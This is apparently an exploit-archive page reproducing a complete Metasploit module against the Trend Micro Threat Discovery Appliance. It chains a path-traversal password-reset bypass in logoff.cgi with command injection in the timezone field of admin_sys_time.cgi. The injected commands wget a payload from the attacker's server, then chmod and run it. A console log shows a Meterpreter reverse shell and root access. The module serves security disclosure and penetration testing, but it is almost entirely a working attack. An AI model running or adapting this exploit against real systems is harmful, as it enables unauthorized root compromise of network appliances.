Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution

2017.04.19
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution', 'Description' => %q{ This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547). Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance. }, 'Author' => [ 'mr_me <steventhomasseeley@gmail.com>', # vuln + msf 'Roberto Suggi Liverani @malerisch', # vuln + msf ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://asciinema.org/a/112480'], # demo [ 'CVE', '2016-7552'], # auth bypass [ 'CVE', '2016-7547'], # cmdi ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ [ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 10 2017')) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The target URI', '/']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]), ], self.class) end def check if do_login res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'), 'cookie' => @cookie, 'method' => 'GET', }, 1) if res and res.code == 200 and res.body =~ /About Trend Micro/ version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/ case version when /2.6.1062/ return Exploit::CheckCode::Vulnerable end end end return Exploit::CheckCode::Safe end def exploit if datastore['AUTHBYPASS'] print_status("Bypassing authentication...") if reset_password print_good("The password has been reset!") print_status("Waiting for the administrator to reboot...") pwn_after_reboot end else if do_login pwn else fail_with(Failure::NoAccess, "Authentication failed") end end end def reset_password c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'), 'method' => 'GET', 'cookie' => c, }) if res and res.code == 200 and res.headers.to_s =~ /Backtrace/ return true end return false end def pwn start_http_server print_good("Logged in") download_exec end def pwn_after_reboot @rebooted = false while !@rebooted if do_login @rebooted = true pwn end end end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = '/' + downfile # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def exec(cmd) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'), 'cookie' => @cookie, 'method' => 'POST', 'vars_post' => { 'act' => 'save', 'timezone' => cmd, } }, 1) end def download_exec @bd = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") exec("|`wget #{@service_url} -O /tmp/#{@bd}`") exec("|`chmod 755 /tmp/#{@bd}`") exec("|`/tmp/#{@bd}`") # we need to delay, for the stager select(nil, nil, nil, 5) end def do_login begin login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'), 'method' => 'POST', 'vars_post' => { 'passwd' => datastore['PASSWORD'], 'isCookieEnable' => 1, } }) # these are needed due to the reboot rescue Rex::ConnectionRefused return false rescue Rex::ConnectionTimeout return false end if login and login.code == 200 and login.body =~ /frame\.cgi/ @cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/ return true end return false end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc [*] Processing scripts/trend.rc for ERB directives. resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi resource (scripts/trend.rc)> set RHOST 192.168.100.2 RHOST => 192.168.100.2 resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp resource (scripts/trend.rc)> set LHOST 192.168.100.13 LHOST => 192.168.100.13 resource (scripts/trend.rc)> exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.100.13:4444 [*] Bypassing authentication... msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > [+] The password has been reset! [*] Waiting for the reboot... [*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ... [*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP [*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP [+] Logged in [*] 192.168.100.2:443 - Sending the payload to the server... [*] Transmitting intermediate stager for over-sized stage...(105 bytes) [*] Sending stage (1495599 bytes) to 192.168.100.2 [*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500 [+] Deleted /tmp/rpNDXQZTB [*] Server stopped. msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 3846 created. Channel 1 created. BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. /bin/sh: can't access tty; job control turned off /opt/TrendMicro/MinorityReport/www/cgi-bin # id id uid=0(root) gid=0(root) /opt/TrendMicro/MinorityReport/www/cgi-bin # =end


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